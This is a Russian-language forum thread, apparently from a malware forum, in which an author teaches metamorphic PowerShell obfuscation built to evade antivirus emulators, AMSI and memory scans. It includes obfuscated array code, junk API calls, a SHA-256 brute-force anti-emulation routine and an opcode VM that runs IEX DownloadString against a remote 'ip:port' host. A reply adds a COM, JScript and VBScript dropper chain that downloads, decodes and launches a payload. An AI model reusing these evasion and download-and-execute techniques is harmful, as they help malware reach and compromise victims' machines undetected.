sSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[501]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[502]]]]]],$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[503]]]]]])
$kuSNCfYHZogTMPh = @($NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[504]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[505]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[506]]]]]]],$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[507]]]]]]])
$WNYSgtsCPvpZoBL = @($kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[508]]]]]]]],$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[509]]]]]]]])
$TpXcwgyfzZCaKRH = @($WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[510]]]]]]]]])
$x = $TpXcwgyfzZCaKRH[$WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]]]

В чем логика? Для того, чтобы узнать, что лежит в $x, нужно сходить посмотреть массив $TpXcwgyfzZCaKRH по индексу [$WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]]
А как узнать индекс? Вместо него ссылка на другой массив $WNYSgtsCPvpZoBL и элемент в нем по индексу...? $kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]
ну и так далее:)
А теперь представьте, что это не простой пример, где 'xss.pro' лежит на виду в первом массиве и можно догадаться, что окажется в x. А вот такой алгоритм - это поиск какого то элемента мат выражения...То есть прогоняем этим алгоритмом уже то, что поморфили ранее.

А че представлять, в общем то, вот боевой пример.

Код:
https://pastebin.com/rkgc5V9X
Посмотрим на один из case в нашей каше.
$((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2371]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2372]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2373]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2374]] * $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2375]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2376]]))
{
$QsdADZVJCeOFWhb = $((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2377]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2378]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2379]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2380]] - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2381]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2382]]));
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])
}


Узнаем тут наш алгоритм с предыдущего шага, где сплитили инты.
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])

Как то так:)

Такая магия возможна из-за конвеерной обратки сорцов. Шаг за шагом, алгоритмы накладываются слоями. А если исполнишь - получишь в $x - 'xss.pro'. Че как, все понятно?))) А представь, если бы морфило так какой нибудь С++. Что получилось бы при дизассемблировании? Указатель на указатель на указатель который лежит в указателе и который указателем используется)) И это далеко не все показанные мной тут алгоритмы. Так вот по поводу моего прошлого поста и вызова мусорных апи. Поясню, чтобы стало понятнее. Ты заранее составляешь ассоциативный массив. Словарь в простонародье. Где число какое нибудь это ключ, а значения для этого ключа это вызовы апи (вин апи, дотнета, стандартной библиотеки - не суть), которые дают, с определенными аргументами при вызове, это самое число. Тебе это надо заранее либо вручную просчитать, либо генератором, что было бы универсальнее. Например у нас такое соответствие по ключам и значениям:
int 1 : STD_API1(trash_arg1, trash_arg2), WIN_API1(trash_arg1), WIN_API2(trash_arg);
int 2 : STD_API2(trash_arg1), DOTNET_API(trash_arg, trash_arg2)
....
Что это для нас значит? Например первый символ в строке xss.pro это 120 в ASCII. Ты разбиваешь 120 на N слагаемых. Одни должны быть твоими ключами в ассоциативном массиве, а вторые - недостающими до 120. То есть api_call + k = n. Генеришь и заменяешь в исходнике вместо [char]120 -> STD_API2(trash_arg1) + STD_API1(trash_arg1, trash_arg2) + WIN_API1(trash_arg1) + 116. Потому что вызов STD_API2(trash_arg1) даст 2(ты заранее просчитал), а STD_API1(trash_arg1, trash_arg2) и WIN_API1(trash_arg1) +1 +1 соответственно. 120 - 4 = 116.
Почему именно так делать мусорные вызовы апи? И вообще все остальное? Ты связываешь контекст выполнения с мусорными вызовами и остальными элементами кодогенерации, описанными в моей "статье-коментарии". Ничего нельзя просто скипнуть. Потому что от этого зависит целостность данных.
Единственное, с чем не разобрались - с вычислительной сложностью, потому что все что выше, аверы ,думаю, еще могут кое как можно проэмулить без особой боли.
Вот тебе пример, вычислительно сложный. На JavaScript.
JavaScript:
var sha256 = function sha256(ascii) {
    function rightRotate(value, amount) {
        return (value>>>amount) | (value<<(32 - amount));
    };
   
    var mathPow = Math.pow;
    var maxWord = mathPow(2, 32);
    var lengthProperty = 'length'
    var i, j;
    var result = ''

    var words = [];
    var asciiBitLength = ascii[lengthProperty]*8;
   
   
    var hash = sha256.h = sha256.h || [];
   
    var k = sha256.k = sha256.k || [];
    var primeCounter = k[lengthProperty];
    /*/
    var hash = [], k = [];
    var primeCounter = 0;
    //*/

    var isComposite = {};
    for (var candidate = 2; primeCounter < 64; candidate++) {
        if (!isComposite[candidate]) {
            for (i = 0; i < 313; i += candidate) {
                isComposite[i] = candidate;
            }
            hash[primeCounter] = (mathPow(candidate, .5)*maxWord)|0;
            k[primeCounter++] = (mathPow(candidate, 1/3)*maxWord)|0;
        }
    }
   
    ascii += '\x80'
    while (ascii[lengthProperty]%64 - 56) ascii += '\x00'
    for (i = 0; i < ascii[lengthProperty]; i++) {
        j = ascii.charCodeAt(i);
        if (j>>8) return;
        words[i>>2] |= j << ((3 - i)%4)*8;
    }
    words[words[lengthProperty]] = ((asciiBitLength/maxWord)|0);
    words[words[lengthProperty]] = (asciiBitLength)
   
   
    for (j = 0; j < words[lengthProperty];) {
        var w = words.slice(j, j += 16);
        var oldHash = hash;
        hash = hash.slice(0, 8);
       
        for (i = 0; i < 64; i++) {
            var i2 = i + j;
           
            var w15 = w[i - 15], w2 = w[i - 2];

           
            var a = hash[0], e = hash[4];
            var temp1 = hash[7]
                + (rightRotate(e, 6) ^ rightRotate(e, 11) ^ rightRotate(e, 25))
                + ((e&hash[5])^((~e)&hash[6])) // ch
                + k[i]
               
                + (w[i] = (i < 16) ? w[i] : (
                        w[i - 16]
                        + (rightRotate(w15, 7) ^ rightRotate(w15, 18) ^ (w15>>>3))
                        + w[i - 7]
                        + (rightRotate(w2, 17) ^ rightRotate(w2, 19) ^ (w2>>>10))
                    )|0
                );
           
            var temp2 = (rightRotate(a, 2) ^ rightRotate(a, 13) ^ rightRotate(a, 22))
                + ((a&hash[1])^(a&hash[2])^(hash[1]&hash[2]));
           
            hash = [(temp1 + temp2)|0].concat(hash);
            hash[4] = (hash[4] + temp1)|0;
        }
       
        for (i = 0; i < 8; i++) {
            hash[i] = (hash[i] + oldHash[i])|0;
        }
    }
   
    for (i = 0; i < 8; i++) {
        for (j = 3; j + 1; j--) {
            var b = (hash[i]>>(j*8))&255;
            result += ((b < 16) ? 0 : '') + b.toString(16);
        }
    }
    return result;
};


function calcByHash(sha256String, length){
    const alphabet = "abcdefghijklmnopqrstuvwxyz".split("");
  let str_ = '';
  while(sha256(str_) !== sha256String){
      if(str_.length === length){
        str_= '';
    }
    str_ += alphabet[Math.floor(Math.random() * alphabet.length)];
  }
  return str_;
}

alert(calcByHash('58e0413224af6b6d3505dd1819d02491c34588de7a4dc6a9ad48a8f7e08e2f7b', 3));

Перебирает алфавит, достает рандомный символ из массива, с алфавитом в lowercase, и складывает в str_. До тех пор, пока str_ не будет равняться хэшу, который мы передаем в calcByHash. Если str_ достиг длины, которую мы передаем в аргументе, то str_ обнуляется. Такой вот незамысловатый брут хэша небольшой длины.
alert(calcByHash('58e0413224af6b6d3505dd1819d02491c34588de7a4dc6a9ad48a8f7e08e2f7b', 3)) - в данном случае calcByHash вернет 'xss' строку. Где то через 4-6 секунд вычислений(На Intel core i5 7th gen). Больших размеров строки не советую. Лучше 'xss' + '.is' по раздельности считать. calcByHash() + calcByHash() = ~ 12 секунд. Если захочешь посчитать 'xss.pro' хэш одним вызовом calcByHash, то будешь ждать ОЧЕНЬ долго.
Достаточно таким образом поискать элемент по хэшу в мат выражении, составленом на предыдущих этапах и ты сразу же шлешь эмуляторы всех аверов нахуй, вот так незамысловато. При этом скипнуть нельзя, поскольку, не найдешь хэш - не найдешь и элемент мат выражения. А значит не найдешь важную строку, которая идет аргументом в важную апи, от которой зависит работа твоей программы. Можешь еще доработать мой пример и солить хэш, чтобы в calcByHash, в каждом билде шел уникальный хэш, а не один и тот же.

Вот после этих всех шагов, пора выпускать тяжелую артелерию, (хотя обфускация на уровне сорцов, таким образом, что я выше описал, тоже очень сильно портит жизнь аверам), от чего аверы не могут ловить сигнатуры в рантайме, а значит, лишены важной возможности анализировать малварь, при хуке палевной апи функции в малвари. Каков смысл давать детект только на основе вызова, если контекст потерян? Если бы палило только на основании апи вызовов, 100500 false positive было бы не избежать, то есть для аверов это не тру путь. Всегда идет связка - какое то палево - рескан памяти.

Я покажу лишь основу, дальше каждый дрочет как он хочет:)

Короче VM внутри VM. Возьмем на примере опять же powershell. Но ничего не мешает применить данный коцепт к другим яп. Мы знаем, что PS это интерпретатор, который написан на c#, однако ничего не мешает нам сделать внутри него свою вм.
Код:
function execute{
    param($opcodes_arr)
    $stack = New-Object System.Collections.Stack

    foreach($opcode in $opcodes_arr){
        switch($opcode){
            'HALT' {
                return;
            }
            'PRINT' {
                Write-Host $stack.Peek()
                break;
            }
            'ICONST' {
                $stack.Push($opcode[1])
                break;
            }
            'IADD' {
                $val1 = $stack.Pop()
                $val2 = $stack.Pop()
                $stack.Push($($val1 + $val2))
                break;
            }
            'ISUB' {
                $val1 = $stack.Pop()
                $val2 = $stack.Pop()
                $stack.Push($($val2 - $val1))
                break;
            }
           
        }
    }
}

execute -opcodes_arr @(
    @('ICONST', 5),
    @('ICONST', 10)
    @('IADD'),
    @('PRINT'),
    @('ICONST', 15),
    @('ISUB'),
    @('ICONST', 15),
    @('ISUB'),
    @('PRINT'),
    @('HALT'))
Это простейшая stack based vm, которая позволяет загружать константы на стек и оперировать значениями на стеке, такими опкодами как ISUB, IADD, PRINT. Немного, но чтобы показать идею - хватит. Концепт заключается в том, чтобы реализацию опкодов вынести за пределы вм. И сервер-сайд морфером, алгоритмы которого описаны выше, перед каждой выдачей сорца, при исполнении опкода - морфить его. Таким образом при каждом вызове опкода, к примеру @('ICONST', 15), будет скачиваться и выполняться каждый раз уникальная реализация для этого опкода. При этом можно так же написать морфер для самой последовательности инструкций, которые передаются в функцию execute(смотри ниже), получая метаморф в ^ 2.
@(
@('ICONST', 5),
@('ICONST', 10)
@('IADD'),
@('PRINT'),
@('ICONST', 15),
@('ISUB'),
@('ICONST', 15),
@('ISUB'),
@('PRINT'),
@('HALT')
)
Код:
function execute{
    param($opcodes_arr)
    $stack = New-Object System.Collections.Stack

    foreach($opcode in $opcodes_arr){
        switch($opcode){
            'HALT' {
                return;
            }
            'PRINT' {
               IEX(New-Object Net.WebClient).DownloadString('http://ip:port/PRINT_OPCODE.ps1'); Invoke-PrintOpcode -stack [ref]$stack
            }
            'ICONST' {
                IEX(New-Object Net.WebClient).DownloadString('http://ip:port/ICONST_OPCODE.ps1'); Invoke-IconstOpcode -stack [ref]$stack
            }
            'IADD' {
                IEX(New-Object Net.WebClient).DownloadString('http://ip:port/IADD_OPCODE.ps1'); Invoke-IAddOpcode -stack [ref]$stack
            }
            'ISUB' {
               IEX(New-Object Net.WebClient).DownloadString('http://ip:port/ISUB_OPCODE.ps1'); Invoke-ISubOpcode -stack [ref]$stack
            }
           
        }
    }
}

execute -opcodes_arr @(
    @('ICONST', 5),
    @('ICONST', 10)
    @('IADD'),
    @('PRINT'),
    @('ICONST', 15),
    @('ISUB'),
    @('ICONST', 15),
    @('ISUB'),
    @('PRINT'),
    @('HALT'))



P.S Перечитал, понесло меня, хотел обойтись парой советов:D А чето тянет на целую статью. Просто в комментарии жалко оставлять, потеряется и немного людей увидит, которым потенциально бы зашло. Если администрация/модерация посчитает информацию в этом комментарии достойной/достаточной текущего конкурса, то просьба перенести в нужный раздел, я не против поучаствовать:) А если нет, то, хотя бы, просьба перенести в раздел статей, дабы авторский труд не потерялся.
 
Последнее редактирование модератором:
очень интересно вышло, прочитал взахлеб
ты только файлы с pastebin на форум в виде аттача перелей. линки на pastebin быстро умрут и оригиналы будет найти сложно )
 
Спасибо за разжёванную статью - читается как триллер , а главное что такой полезной информации мало в Инете

PS : если добавить примеры крипта malvar-и и результаты сканов - статья не то что тянет на конкурс , но и на призовые места !
 
Последнее редактирование:
статья не то что тянет на конкурс , но и на призовые места !
Да какие призовые места..) Мне сказали, что по объёму не дотягивает до участия в конкурсе.
Нет так нет, не хочу разводить тут сопли на тему соотношения объемов и полезности и того, что уже есть на конкурсе.
———
ты только файлы с pastebin на форум в виде аттача перелей. линки на pastebin быстро умрут и оригиналы будет найти сложно )
Да хорошо, чуть позже залью.
читал как Войну и мир ))
Надеюсь, это комплимент. В любом случае спасибо за фидбек.

———

По поводу методов, добавлю ещё один к статье выше.
Разделяй и властвуй.
Принцип его прост, но может быть достаточно сложен в реализации в вашей автоматике. Вот какой принцип:
1) После разбития мат выражения на составные части, с помощью COM, мы можем обращаться к другим интерпретирующим движкам, которые уже есть в системе и у которых совершенно другой контекст выполнения и трекинг с точки зрения анализатора ав!
Например
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Visible = $false
Обращается к COM интерфейсу Internet Explorer
И вот пример, как в контексте ie запустить javascript сценарий и вернуть результат исполнения в пш.
То есть мы 1 задачу можем разбить на N экзекьюторов в системе и обмениваться состоянием.
Гуглите
«Adding VBScript and JScript support in your C++ applications»
То есть как минимум уже 3-4 экзекьютора, на которые можем разбить и вынести функционал.

Даже если не в контексте обфускатора это использовать, а к примеру типичная задача, скачать и запустить. Вы можете подтянуть зашифрованный base64 вашего файла с удаленного сервера с помощью посещения страницы и выгрузки контента ie com обьектом. Расшифровать с помощью jscript wsh, положить ну диск с помощью vbscript, а запустить с помощью своего нативного лодыря. Все 3 экзекьютора можно проэмулировать, но суть в том что у каждого экзекьютора свои методы эмуляции, если у нейтива там какой нибудь x86 cpu emulator, то у jscript/vbs основа это amsi и аверская автоматика должна быть настолько умной, чтобы связать эти 3 экзекьютора и дать детект, понимая что все работает на одну цель. Но это очень сложно, поскольку только jscript/vbs это две разные VM, со своими правилами, а код, выполняемый там, происходит «не совсем» в контексте твоей нативной апки.

———
Можете задавать вопросы, если эта тема интересна, я на обфускаторах и работе с AST уже собаку сьел, работал с AST таких яп как JavaScript/Powershell. И писал под эти яп обфускаторы. Будет свободная минутка - отвечу на самые интересные вопросы.
———
Так же интересны ваши случаи, примеры, истории и алгоритмы по этой теме. Буду рад услышать.
 
Спасибо вам за публикацию.

How do you suggest preventing compiler optimizing the algebraic expressions at compile-time?

If there is:
(183841321 + (713 + (329 >> (174 << (923 >> (682 ^ (368 ^ (346 ^ (802 - (823 + (811 ^ (222 & (892 | (109 * (960 ^ (972 & (398 + (426 | (693 & (119 * (394 | (475 + (627 * (429 >> (953 & (26 >> (804 | (828 & (353 << (783 << (794 >> (315 << (719 * (317 | (398 * (675 | (681 & (792 & (550 >> (66 & (280 ^ (867 * (357 & (999 & (818 | (118 * (520 | (889 - (466 + (683 & (709 << 13)))))))))))))))))))))))))))))))))))))))))))))))))))

The compiler will surely optimize this out if used alone in a predicate. The logic which utilizes these generated numbers is important.
 
Материал очень полезный. Если никто не будет против, таки перемещаем в конкурсный раздел и допускаем к участию в Конкурсе статей #3.

Просьба к автору Haunt - таки дополнить еще чем-то статью (по желанию).
 
Да какие призовые места..) Мне сказали, что по объёму не дотягивает до участия в конкурсе.
Нет так нет, не хочу разводить тут сопли на тему соотношения объемов и полезности и того, что уже есть на конкурсе.
———

Да хорошо, чуть позже залью.

Надеюсь, это комплимент. В любом случае спасибо за фидбек.

———

По поводу методов, добавлю ещё один к статье выше.
Разделяй и властвуй.
Принцип его прост, но может быть достаточно сложен в реализации в вашей автоматике. Вот какой принцип:
1) После разбития мат выражения на составные части, с помощью COM, мы можем обращаться к другим интерпретирующим движкам, которые уже есть в системе и у которых совершенно другой контекст выполнения и трекинг с точки зрения анализатора ав!
Например
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Visible = $false
Обращается к COM интерфейсу Internet Explorer
И вот пример, как в контексте ie запустить javascript сценарий и вернуть результат исполнения в пш.
То есть мы 1 задачу можем разбить на N экзекьюторов в системе и обмениваться состоянием.
Гуглите
«Adding VBScript and JScript support in your C++ applications»
То есть как минимум уже 3-4 экзекьютора, на которые можем разбить и вынести функционал.

Даже если не в контексте обфускатора это использовать, а к примеру типичная задача, скачать и запустить. Вы можете подтянуть зашифрованный base64 вашего файла с удаленного сервера с помощью посещения страницы и выгрузки контента ie com обьектом. Расшифровать с помощью jscript wsh, положить ну диск с помощью vbscript, а запустить с помощью своего нативного лодыря. Все 3 экзекьютора можно проэмулировать, но суть в том что у каждого экзекьютора свои методы эмуляции, если у нейтива там какой нибудь x86 cpu emulator, то у jscript/vbs основа это amsi и аверская автоматика должна быть настолько умной, чтобы связать эти 3 экзекьютора и дать детект, понимая что все работает на одну цель. Но это очень сложно, поскольку только jscript/vbs это две разные VM, со своими правилами, а код, выполняемый там, происходит «не совсем» в контексте твоей нативной апки.

———
Можете задавать вопросы, если эта тема интересна, я на обфускаторах и работе с AST уже собаку сьел, работал с AST таких яп как JavaScript/Powershell. И писал под эти яп обфускаторы. Будет свободная минутка - отвечу на самые интересные вопросы.
———
Так же интересны ваши случаи, примеры, истории и алгоритмы по этой теме. Буду рад услышать.
Яп выбраны такие себе. Лучше на C/C++ сразу писал или хотя-бы на шарпе.
 
Яп выбраны такие себе. Лучше на C/C++ сразу писал или хотя-бы на шарпе.
Ну во первых называние темы стоит не мое, я бы так не назвал ее. Изначально эта статья это комментарий к топику в разделе кодинга, что человек спросил про обходы аверов на с++. Потом тема переносилась модерацией. С указанием названия темы изначальной.

Во вторых, яп выбраны не просто так. Знал бы ты преимущества powershell, ты бы так не написал. Выбор яп нарочен и является следствием, а не причиной.

Не знаю, стоит ли говорить, но на форуме ru-sfera.org, тема раскрыта гараздо полнее и инфы там куда больше + админ там спец, на вопросы отвечает...
Если ты покажешь линк мне хотя бы на 1 статью в сети с техническим описанием, хотя бы алгоритмов для создания метморфного движка на уровне сорцов, то я снимая шляпу и извинюсь, при чем протестированную и актуальную тему, которая ведёт к результату... больше конкретики, если хочешь что то сказать, или где то меня подьебать, с линками и прочим. Я готов к конструктивной беседе.
 
Соглашусь с ip38yssn, алгоритмы достаточно очевидны. Гораздо интереснее инструментарий - что выступает в качестве генератора AST? Судя по охвату языков можно предположить, что чем-то сгенерированные парсеры?
 
Ну во первых называние темы стоит не мое, я бы так не назвал ее. Изначально эта статья это комментарий к топику в разделе кодинга, что человек спросил про обходы аверов на с++. Потом тема переносилась модерацией. С указанием названия темы изначальной.

Во вторых, яп выбраны не просто так. Знал бы ты преимущества powershell, ты бы так не написал. Выбор яп нарочен и является следствием, а не причиной.


Если ты покажешь линк мне хотя бы на 1 статью в сети с техническим описанием, хотя бы алгоритмов для создания метморфного движка на уровне сорцов, то я снимая шляпу и извинюсь, при чем протестированную и актуальную тему, которая ведёт к результату... больше конкретики, если хочешь что то сказать, или где то меня подьебать, с линками и прочим. Я готов к конструктивной беседе.
 
Как коррелируют мои алгоритмы для реализации метаморфа и то, что ты выложил? Суть статьи в автоматике, я описал алгоритмы которые можно математически описать и задать в правила генератора для работы с любым подаваемым на вход исходником, получая каждый раз на выходе уникальный исходник. Понимаешь, одно дело руками подгонять конкретный сэмпл, а другое - написать решение, которое работает со всеми семплами одинаково хорошо. При том, учитывая все нюансы методик детекта аверами. То есть скрещивание метаморфизма с обходами эмуляторов/api call map детектов/детектов в памяти.
А теперь ещё раз вопрос, покажи мне хоть 1 конкретную статью, где описано подобное.
 
Как коррелируют мои алгоритмы для реализации метаморфа и то, что ты выложил? Суть статьи в автоматике, я описал алгоритмы которые можно математически описать и задать в правила генератора для работы с любым подаваемым на вход исходником, получая каждый раз на выходе уникальный исходник. Понимаешь, одно дело руками подгонять конкретный сэмпл, а другое - написать решение, которое работает со всеми семплами одинаково хорошо. При том, учитывая все нюансы методик детекта аверами. То есть скрещивание метаморфизма с обходами эмуляторов/api call map детектов/детектов в памяти.
А теперь ещё раз вопрос, покажи мне хоть 1 конкретную статью, где описано подобное.
Мне кажется у него цель не дискуссировать с тобой. А просто прорекламировать свой форум... Но это всего лишь первое впечатление и предположение. Не вобиду ip38.
 
Очень интересная статья. Спасибо автору за труд) Можно было бы даже оформить статью в формате PDF, поскольку линки на pastebin могу очень быстро умереть.
Непрозрачные предикаты (opaque predicate ) действительно эффективны на практике.
 
Гораздо интереснее инструментарий - что выступает в качестве генератора AST? Судя по охвату языков можно предположить, что чем-то сгенерированные парсеры?
В powershell парсер это встроенный тип в system.management.automation.

Получить ast можно либо из него. Там методы ParseInput, ParseFile либо из скриптблока минуя явно этот апи. Вот так.
[ScriptBlock]::Create(‘скрипт’).Ast
Чтобы найти все элементы в скрипте какого то типа, можно написать так
[ScriptBlock]::Create(‘скрипт’).Ast.FindAll({
param($Ast)
return $Ast -is [BinaryExpressionAst]
}, $true)
Таким образом найдёшь все бинарные выражения в скрипте, например 6 + 5. Потом ты можешь обращаться к объекту данного типа BinaryExpressionAst и его свойствам.
Например Left, Right, Operator.

[ScriptBlock]::Create(‘скрипт’).Ast.FindAll({
param($Ast)
return $Ast -is [BinaryExpressionAst]
}, $true) | Where-Object {
$_.Left -eq 10
}
Вернёт все бинарные выражения в скрипте, у которых левый операнд это 10. (10 + 2 - valid) При чем в не зависимости от того, какой у бинарного выражения контекст. Будь он в if, в присваивании или массиве или в другом бинарном выражении.
2-(10+2) - допустим ты хочешь пропустить бинарное выражение, которое состоит в другом бинарном выражении - тогда ты проверяешь свойство Parent у Ast элемента, и если он типа BinaryExpression - пропускаешь... логика надеюсь понятна.
Единственное но, это то, как после парсинга менять элементы в сорце. Если в каком нибудь Babel достаточно написать BinaryExpression.Left = Babylon.parse(10) и сорц изменится, то в powershell такая тема не прокатит, поскольку Immutable Ast. Тебе придётся получать позицию элемента и на основе его оффсета относительно всего скрипта и длины нового вставляемого контента расчитывать вставку а-ля подстроки в строку. И нюанс тут в том, чтобы придумать как за 1 проход парсера изменить все нужные элементы и после изменения фиксить позиции, поскольку для остальных элементов они будут сдвигаться.
Для каждого элемента делать перепарс скрипта, чтобы получить актуальную StartPos элемента - слишком высокая временная сложность алгоритма. По этому разбираться лучше начинать с Mutable Ast. Например js Babel. Когда элементы аста поддерживают сеттеры.

Во всей этой теме с AST применяется visitor шаблон. То есть срабатывает коллбек, когда итератор спотыкается об элемент определенного типа в дереве. И подобная тема встречается везде. Будь то Babel(javascript), С parser или powershell. Везде архитектура повторяется.
 
....
Таким образом получаешь вид api call + k = n. Где n это твоя 5. А api call это opaque predicate. k - слагаемое, просчитанное на основе opaque predicate, чтобы в итоге получить n.
Реализацию не выложу, поскольку 0day разработка.
...
Зиродей в том что АПИ вернет заранее известный код ошибки(заранее известную константу, типа длина строки и тп..), и далее к ней будет прибавлена разница между этой константой и нужным результатом? И вот база таких апи шаблонов с уже известными результатами и есть зиродей? ....И по чем нынче такой вот нульдей в базарный день?
 
....
Таким образом получаешь вид api call + k = n. Где n это твоя 5. А api call это opaque predicate. k - слагаемое, просчитанное на основе opaque predicate, чтобы в итоге получить n.
Реализацию не выложу, поскольку 0day разработка.
...
Зиродей в том что АПИ вернет заранее известный код ошибки(заранее известную константу, типа длина строки и тп..), и далее к ней будет прибавлена разница между этой константой и нужным результатом? И вот база таких апи шаблонов с уже известными результатами и есть зиродей? ....И по чем нынче такой вот нульдей в базарный день?
У меня спрашивали сорцы генератора, именно их я и не стал выкладывать. Сорцы у меня под Powershell. Под повершелл существует 1 обфускатор в природе, это invoke-obfuscation. Но он паршиво работает - не обходит ав. Из-за амси. Реверс устройства amsi в этом яп я проводил на экспе в топике про амси. Я же написал второй обфускатор. Которого ни у кого нет и алгоритмы для которого не описывались нигде более(именно в комплексе и замыкании техник друг о друга - синергии) и который обходит этот самый амси. Именно по этому 0 day. Мои советы (сначала общие) были в топике человеку, который спросил про с++ методики и выложил кривой антиэмуль. Потом админ по просьбе перенёс на конкурс, но название темы оставил изначального топика, но сейчас не об этом. Суть такова, что все перешло от общего к частному. На примере как сделал я и как это у меня работает и почему это уникально, если смотреть в общем. А ещё нульдей потому, что в природе я не видел метаморфного генератора на уровне AST, который бы с помощью полиморфной синергии каждой из техник выдавал бы уникальный сорц. А в саму природу полиморфной синергии техник зашиты антиэмули, которые не пропустишь и не засигнатуришь. То есть мало того, что сигнатурно и с точки зрения флоу код является уникальным раз от раза, так он ещё весь один сплошной антиэмуль. + за счёт ложных вызовов апи, которые реально рандомные и привязаны к контексту сбивается с толку api call map.

UPD чувство, что ты статью не читал, вырвал с контекста и пытаешься потроллить, но неудачно.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх